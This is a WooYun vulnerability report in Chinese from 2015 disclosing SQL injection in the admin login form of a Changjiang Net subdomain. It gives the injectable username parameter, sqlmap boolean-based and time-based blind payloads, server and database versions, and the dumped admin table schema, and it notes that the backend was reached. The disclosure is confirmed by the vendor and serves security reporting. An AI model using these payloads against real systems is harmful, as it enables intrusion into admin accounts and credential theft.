当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161844

漏洞标题:长江网某站存在sql注入(已进入后台)

相关厂商:长江网

漏洞作者: ago

提交时间:2015-12-16 16:30

修复时间:2016-02-01 17:24

公开时间:2016-02-01 17:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-16: 细节已通知厂商并且等待厂商处理中
2015-12-20: 厂商已经确认,细节仅向厂商公开
2015-12-30: 细节向核心白帽子及相关领域专家公开
2016-01-09: 细节向普通白帽子公开
2016-01-19: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

0.0

详细说明:

部门后台管理系统

http://myt.cjn.cn/user/login.php


登录框存在注入
http://myt.cjn.cn/user/pf_login.php (POST)
password=88952634&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95&username=88952634
username存在注入

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: password=88952634&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95&username=-8200' OR 6768=6768#
Vector: OR [INFERENCE]#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: password=88952634&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95&username=88952634' AND (SELECT * FROM (SELECT(SLEEP(5)))NBYr)#
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])#
---
web application technology: Apache 2.2.27, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: myt
Table: myt_admin
[5 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| createdate | datetime |
| id | int(11) |
| ip | varchar(20) |
| password | varchar(50) |
| username | varchar(50) |
+------------+-------------+
Database: myt
Table: myt_admin
[5 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| createdate | datetime |
| id | int(11) |
| ip | varchar(20) |
| password | varchar(50) |
| username | varchar(50) |
+------------+-------------+

3.png

修复方案:

..

版权声明:转载请注明来源 ago@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-20 11:57

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评价